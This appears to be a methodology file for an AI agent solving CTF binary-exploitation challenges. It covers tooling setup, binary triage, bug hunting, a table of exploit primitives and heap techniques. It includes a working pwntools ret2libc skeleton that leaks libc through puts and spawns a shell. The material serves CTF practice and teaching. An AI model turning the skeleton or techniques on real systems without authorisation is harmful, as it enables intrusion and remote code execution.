ctf-pwn

CTF pwn methodology

0. Pwntools venv

The MCP server runs pwntools through a dedicated venv at ~/.ctf-venvs/pwntools/. If missing:

wsl.exe bash -lc "mkdir -p ~/.ctf-venvs && python3 -m venv ~/.ctf-venvs/pwntools && ~/.ctf-venvs/pwntools/bin/pip install pwntools z3-solver"

Then use it: run_script(code, venv="pwntools").

1. Identify the binary

file ./vuln
checksec --file=./vuln       # or: rabin2 -I ./vuln
strings ./vuln | head -50
nm ./vuln | head -30          # symbols if not stripped

Note: RELRO, Canary, NX, PIE, arch (x86 / x86_64 / arm / mips), libc version.

If a libc is provided, identify it:

strings libc.so.6 | grep "GNU C Library"
# or
./vuln_pwntools_helper  # see below

libc-database and libc-rip/libc.rip (web) — find offsets by leaked function addresses.

2. Find the bug

Static:

• objdump -d -M intel ./vuln
• Ghidra / cutter (radare2 GUI) for decompile — both in registry
• Look for: gets, strcpy, unbounded read, printf(user_input), integer overflow on size, double free, UAF

Dynamic:

• gdb-multiarch ./vuln + pwndbg / gef
• Cyclic pattern: cyclic 200 → run → crash → cyclic -l <RIP> to find offset

3. Pick the primitive

Class	Primitive	Tool
Stack BOF, no canary, NX off	shellcode	pwntools shellcraft.sh()
Stack BOF, NX on, ASLR off	ret2win / static ROP	ROPgadget --binary ./vuln
Stack BOF, NX+ASLR, libc leak	ret2libc	leak with PUTS@got, calc system, /bin/sh
Stack BOF, NX+ASLR, no leak	ret2plt + puts → leak	classic chain
Format string	%n write / %s leak	pwntools fmtstr_payload
Heap (glibc)	tcache, fastbin, unsorted bin	how2heap, pwndbg heap
Use-after-free	dangling pointer abuse	manual python
Kernel	KASLR leak, modprobe_path, etc	manual + qemu

4. Exploit skeleton (pwntools)

from pwn import *

context.binary = ELF("./vuln")
libc = ELF("./libc.so.6")
p = remote("host", 1337)  # or process("./vuln") for local

# leak
p.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym['puts']

# pwn
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']))  # stack align
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(b"A" * 40 + rop.chain())

p.interactive()

5. Heap (glibc)

• Identify glibc version (matters: 2.27, 2.31, 2.32, 2.34+ differ)
• Useful tcache primitives: tcache poisoning (≥ 2.27), tcache key bypass (≥ 2.32), safe-linking (≥ 2.32)
• Tools: pwndbg heap, glibc-all-in-one, how2heap (clone if not present)

6. Don't waste time on

• Manual ROP gadget search if the binary is large — use ROPgadget or ropper
• Reimplementing pwntools functionality (cyclic, fmtstr, ROP chain building)
• Trying win functions if there's no system symbol — check nm first

After solve

Use the writeup-template skill. Include the final exploit script verbatim.